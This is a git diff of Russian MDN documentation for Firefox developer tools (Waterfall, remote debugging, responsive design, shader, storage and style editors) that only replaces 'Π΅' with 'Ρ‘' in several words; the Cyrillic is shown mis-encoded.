original_slug: Tools/ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ/Waterfall
---
<div>{{ToolsSidebar}}</div><div class="summary">
-<p>Π’ΠΎΠ΄ΠΎΠΏΠ°Π΄ (Waterfall) Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ прСдставлСниС ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… процСссах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ происходят Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΠΉΡ‚Π΅ ваш сайт ΠΈΠ»ΠΈ запускаСтС Π²Π°ΡˆΠ΅Β ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅. Он основан Π½Π° ΠΈΠ΄Π΅Π΅ раздСлСния всСх происходящих Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° процСссов Π½Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹Β Β - запуск JavaScript, ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ layout ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅ - ΠΈ Ρ‡Ρ‚ΠΎ Π² любой ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈΒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ выполняСт ΠΎΠ΄ΠΈΠ½ ΠΈΠ· этих процСссов.</p>
+<p>Π’ΠΎΠ΄ΠΎΠΏΠ°Π΄ (Waterfall) Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ прСдставлСниС ΠΎ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… процСссах, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ происходят Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΠΉΡ‚Π΅ ваш сайт ΠΈΠ»ΠΈ запускаСтС Π²Π°ΡˆΠ΅Β ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅. Он основан Π½Π° ΠΈΠ΄Π΅Π΅ раздСлСния всСх происходящих Π²Π½ΡƒΡ‚Ρ€ΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° процСссов Π½Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹Β Β - запуск JavaScript, ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ΠΈΠ΅ layout ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅ - ΠΈ Ρ‡Ρ‚ΠΎ Π² любой ΠΌΠΎΠΌΠ΅Π½Ρ‚ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈΒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ выполняСт ΠΎΠ΄ΠΈΠ½ ΠΈΠ· этих процСссов.</p>
<p>ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Ссли Π²Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ ΠΏΡ€ΠΈΠ·Π½Π°ΠΊΠΈΒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ с ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΡŽΒ Β - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, падСния частоты ΠΊΠ°Π΄Ρ€ΠΎΠ²Β - Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Waterfall, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π΄Π΅Π»Π°Π΅Ρ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π² этот ΠΌΠΎΠΌΠ΅Π½Ρ‚.</p>
</div>
diff --git a/files/ru/tools/remote_debugging/debugging_firefox_desktop/index.html b/files/ru/tools/remote_debugging/debugging_firefox_desktop/index.html
index 3f4cd3c478..33a107cc34 100644
--- a/files/ru/tools/remote_debugging/debugging_firefox_desktop/index.html
+++ b/files/ru/tools/remote_debugging/debugging_firefox_desktop/index.html
@@ -67,7 +67,7 @@ translation_of: Tools/Remote_Debugging/Debugging_Firefox_Desktop
<ul>
<li>Под "Available remote tabs" (ДоступныС ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Π΅ Π²ΠΊΠ»Π°Π΄ΠΊΠΈ) находится список всСх Π²ΠΊΠ»Π°Π΄ΠΎΠΊ <em>ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Π΅ΠΌΠΎΠ³ΠΎ</em>. ΠšΠ»ΠΈΠΊΠ½ΠΈΡ‚Π΅ Π² ΠΎΠ΄Π½Ρƒ для соСдинСния Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Firefox c Π½Π΅ΠΉ.</li>
- <li>Под "Available remote add-ons" (ДоступныС ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Π΅ дополнСния) находится список всСх Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΉ Π½Π° <em>ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Π΅ΠΌΠΎΠΌ</em>. ΠšΠ»ΠΈΠΊΠ½ΠΈΡ‚Π΅ Π² ΠΎΠ΄ΠΈΠ½ для соСдинСния Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Firefox.</li>
+ <li>Под "Available remote add-ons" (ДоступныС ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Π΅ дополнСния) находится список всСх Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΉ Π½Π° <em>ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Π΅ΠΌΠΎΠΌ</em>. ΠšΠ»ΠΈΠΊΠ½ΠΈΡ‚Π΅ Π² ΠΎΠ΄ΠΈΠ½ для соСдинСния Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Firefox.</li>
<li>Под "Available remote processes" (ДоступныС ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Π΅ процСссы) - список процСссов, Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½Ρ‹Ρ… Π² Firefox. ΠšΠ»ΠΈΠΊΠ½ΠΈΡ‚Π΅ "Main process" (Π“Π»Π°Π²Π½Ρ‹ΠΉ процСсс) для соСдинСния Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° с самим Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠΌ.</li>
</ul>
diff --git a/files/ru/tools/remote_debugging/index.html b/files/ru/tools/remote_debugging/index.html
index 1f99c5e8df..06b878cb3c 100644
--- a/files/ru/tools/remote_debugging/index.html
+++ b/files/ru/tools/remote_debugging/index.html
@@ -8,7 +8,7 @@ tags:
- инструмСнты
translation_of: Tools/Remote_Debugging
---
-<div>{{ToolsSidebar}}</div><p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="/ru/docs/Tools">Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Firefox</a> Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ для ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ Π²Π΅Π±-сайтов ΠΈ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½Ρ‹Ρ… Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°Ρ…. Π”Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π° Ρ‚ΠΎΠΌ ΠΆΠ΅ устройствС, Π³Π΄Π΅ Π·Π°ΠΏΡƒΡ‰Π΅Π½Ρ‹ Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, ΠΈΠ»ΠΈ ΠΆΠ΅ Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π° Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π΅, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠΌ Ρ‡Π΅Ρ€Π΅Π· USB.</p>
+<div>{{ToolsSidebar}}</div><p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <a href="/ru/docs/Tools">Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Firefox</a> Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ для ΠΎΡ‚Π»Π°Π΄ΠΊΠΈ Π²Π΅Π±-сайтов ΠΈ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½Ρ‹Ρ… Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°Ρ…. Π”Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π° Ρ‚ΠΎΠΌ ΠΆΠ΅ устройствС, Π³Π΄Π΅ Π·Π°ΠΏΡƒΡ‰Π΅Π½Ρ‹ Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, ΠΈΠ»ΠΈ ΠΆΠ΅ Π½Π° Π΄Ρ€ΡƒΠ³ΠΎΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π½Π° Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Π΅, ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½ΠΎΠΌ Ρ‡Π΅Ρ€Π΅Π· USB.</p>
<p>ΠšΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Π΅ инструкции ΠΏΠΎ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡŽ Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² спСцифичны для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· срСд.</p>
@@ -37,7 +37,7 @@ translation_of: Tools/Remote_Debugging
<p>Π­ΠΊΡΠΏΠ΅Ρ€ΠΈΠΌΠ΅Π½Ρ‚Π°Π»ΡŒΠ½ΠΎΠ΅ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ <a href="/en-US/docs/Tools/Valence">Valence</a> позволяСт ΠΎΡ‚Π»Π°ΠΆΠΈΠ²Π°Ρ‚ΡŒ Π²Π΅Π±-сайты Π² срСдах выполнСния ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΎΡ‚ Gecko, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Google Chrome Desktop, Chrome для Android ΠΈΠ»ΠΈ Safari Π½Π° iOS.</p>
-<p>Valence ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² <a href="/en-US/Firefox/Developer_Edition">Firefox Developer Edition</a>.</p>
+<p>Valence ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² <a href="/en-US/Firefox/Developer_Edition">Firefox Developer Edition</a>.</p>
<ul>
<li><a href="/en-US/docs/Tools/Valence">Chrome для Android</a></li>
diff --git a/files/ru/tools/responsive_design_mode/index.html b/files/ru/tools/responsive_design_mode/index.html
index 8ca0c64155..0d62c5d10d 100644
--- a/files/ru/tools/responsive_design_mode/index.html
+++ b/files/ru/tools/responsive_design_mode/index.html
@@ -16,7 +16,7 @@ original_slug: Tools/Responsive_Design_View
---
<div>{{ToolsSidebar}}</div>
-<p><a href="/ru/docs/Web_Development/Responsive_Web_design">АдаптивныС Π΄ΠΈΠ·Π°ΠΉΠ½Ρ‹ </a>(<a href="/en-US/docs/Web_Development/Responsive_Web_design">Responsive designs</a>)Β  Π°Π΄Π°ΠΏΡ‚ΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΊ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌ экрана, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ подходящСС ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ для Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π²ΠΈΠ΄ΠΎΠ² устройств, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Ρ‹ ΠΈΠ»ΠΈ ΠΏΠ»Π°Π½ΡˆΠ΅Ρ‚Ρ‹. Π Π΅ΠΆΠΈΠΌ Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ Π΄ΠΈΠ·Π°ΠΉΠ½Π° Π΄Π°Ρ‘Ρ‚ Π»Π΅Π³ΠΊΡƒΡŽ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ ваш сайт ΠΈΠ»ΠΈ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Π½Π° экранах Ρ€Π°Π·Π½Ρ‹Ρ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ².</p>
+<p><a href="/ru/docs/Web_Development/Responsive_Web_design">АдаптивныС Π΄ΠΈΠ·Π°ΠΉΠ½Ρ‹ </a>(<a href="/en-US/docs/Web_Development/Responsive_Web_design">Responsive designs</a>)Β  Π°Π΄Π°ΠΏΡ‚ΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΊ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌ экрана, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ подходящСС ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ для Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Π²ΠΈΠ΄ΠΎΠ² устройств, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ Ρ‚Π΅Π»Π΅Ρ„ΠΎΠ½Ρ‹ ΠΈΠ»ΠΈ ΠΏΠ»Π°Π½ΡˆΠ΅Ρ‚Ρ‹. Π Π΅ΠΆΠΈΠΌ Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ Π΄ΠΈΠ·Π°ΠΉΠ½Π° Π΄Π°Ρ‘Ρ‚ Π»Ρ‘Π³ΠΊΡƒΡŽ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ ваш сайт ΠΈΠ»ΠΈ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Π½Π° экранах Ρ€Π°Π·Π½Ρ‹Ρ… Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠ².</p>
<p>{{EmbedYouTube("LBcE72sG2s8")}}</p>
diff --git a/files/ru/tools/shader_editor/index.html b/files/ru/tools/shader_editor/index.html
index 565d6c6b55..fce013a794 100644
--- a/files/ru/tools/shader_editor/index.html
+++ b/files/ru/tools/shader_editor/index.html
@@ -25,7 +25,7 @@ translation_of: Tools/Shader_Editor
<p><img alt="" src="https://mdn.mozillademos.org/files/6421/shader-editor-open.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
-<p>Для Π½Π°Ρ‡Π°Π»Π° ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ страницу, которая создаСт контСкст WebGL ΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ Π² Π½Π΅Π³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ. ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Ρ‹ взяты ΠΈΠ· дСмонстрации <a href="http://www.unrealengine.com/html5/">Unreal Engine</a>.</p>
+<p>Для Π½Π°Ρ‡Π°Π»Π° ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ страницу, которая создаёт контСкст WebGL ΠΈ Π·Π°Π³Ρ€ΡƒΠΆΠ°Π΅Ρ‚ Π² Π½Π΅Π³ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ. ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ Π½ΠΈΠΆΠ΅ ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Ρ‹ взяты ΠΈΠ· дСмонстрации <a href="http://www.unrealengine.com/html5/">Unreal Engine</a>.</p>
<p>ΠŸΠ΅Ρ€Π΅Π΄ Π’Π°ΠΌΠΈ появится Ρ€Π°Π±ΠΎΡ‡Π΅Π΅ ΠΎΠΊΠ½ΠΎ, Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ Π½Π° Ρ‚Ρ€ΠΈ части: список ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ GLSL (слСва), Π²Π΅Ρ€ΡˆΠΈΠ½Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ (ΠΏΠΎ Ρ†Π΅Π½Ρ‚Ρ€Ρƒ), Π° Ρ‚Π°ΠΊΠΆΠ΅ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ (справа):</p>
diff --git a/files/ru/tools/storage_inspector/index.html b/files/ru/tools/storage_inspector/index.html
index 0356665fea..afa2417aaf 100644
--- a/files/ru/tools/storage_inspector/index.html
+++ b/files/ru/tools/storage_inspector/index.html
@@ -4,7 +4,7 @@ slug: Tools/Storage_Inspector
translation_of: Tools/Storage_Inspector
---
<div>{{ToolsSidebar}}</div><div class="geckoVersionNote">
-<p>Π˜Π½ΡΠΏΠ΅ΠΊΡ‚ΠΎΡ€ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Β ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅ Π΅Π³ΠΎ Π²Β <a href="/en-US/docs/Tools_Toolbox#Settings">Developer Tools Settings</a>.</p>
+<p>Π˜Π½ΡΠΏΠ΅ΠΊΡ‚ΠΎΡ€ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Β ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ. Π’ΠΊΠ»ΡŽΡ‡ΠΈΡ‚Π΅ Π΅Π³ΠΎ Π²Β <a href="/en-US/docs/Tools_Toolbox#Settings">Developer Tools Settings</a>.</p>
</div>
<p>Π˜Π½ΡΠΏΠ΅ΠΊΡ‚ΠΎΡ€ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° позволяСт ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β Π²Π΅Π±-страница ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ. Π’ настоящСС врСмя ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Ρ‚ΠΈΠΏΠΎΠ² хранСния:</p>
@@ -18,7 +18,7 @@ translation_of: Tools/Storage_Inspector
<li><em>IndexedDB</em> - ВсСх <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> Π±Π°Π·Β Π΄Π°Π½Π½Ρ‹Ρ…, созданных по страницС, ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ элСмСнтов iframe Π²Π½ΡƒΡ‚Ρ€ΠΈ страниц, ΠΈΡ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΈ элСмСнтов.</li>
</ul>
-<p>На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚, инспСктор хранСния Π΄Π°Π΅Ρ‚ прСдставлСниС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния памяти. Но ΠΌΡ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Π²Π°ΠΌ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ содСрТимоС Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° Π² Π±ΡƒΠ΄ΡƒΡ‰ΠΈΡ… выпусках.</p>
+<p>На Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚, инспСктор хранСния Π΄Π°Ρ‘Ρ‚ прСдставлСниС Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для чтСния памяти. Но ΠΌΡ‹ Ρ€Π°Π±ΠΎΡ‚Π°Π΅ΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ΡŒ Π²Π°ΠΌ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ содСрТимоС Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° Π² Π±ΡƒΠ΄ΡƒΡ‰ΠΈΡ… выпусках.</p>
<h2 id="ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ_инспСктор_Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°">ΠžΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ инспСктор хранилища</h2>
diff --git a/files/ru/tools/style_editor/index.html b/files/ru/tools/style_editor/index.html
index e92e03d180..3fade8632c 100644
--- a/files/ru/tools/style_editor/index.html
+++ b/files/ru/tools/style_editor/index.html
@@ -41,7 +41,7 @@ translation_of: Tools/Style_Editor
<h2 id="ПанСль_Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹_стилСй">ПанСль Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй</h2>
-<p>ПанСль стилСй слСва, пСрСчисляСт всС Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ стилСй Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ быстро Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ стили листа Π½Π°ΠΆΠ°Π² Π½Π° ΠΏΡ€ΠΎΡ‚ΠΈΠ² Π½Π΅Π³ΠΎ Π·Π½Π°Ρ‡ΠΎΠΊ Π³Π»Π°Π·Π°. <span id="result_box" lang="ru"><span class="hps">Π’Ρ‹</span> <span class="hps">ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ</span> <span class="hps">Π»ΡŽΠ±Ρ‹Π΅ измСнСния</span><span>, внСсСнныС Π²</span> <span class="hps">Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй</span> <span class="hps">Π½Π° локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅</span><span>, Π½Π°ΠΆΠ°Π²</span> <span class="hps">ΠΊΠ½ΠΎΠΏΠΊΡƒ Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ</span> <span class="hps">Π²</span> <span class="hps">ΠΏΡ€Π°Π²ΠΎΠΌ Π½ΠΈΠΆΠ½Π΅ΠΌ</span> <span class="hps">ΡƒΠ³Π»Ρƒ</span> Π²ΠΎΠ·Π»Π΅ <span class="alt-edited hps">ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ листа</span> <span class="hps">Π²</span> <span class="hps">спискС.</span></span></p>
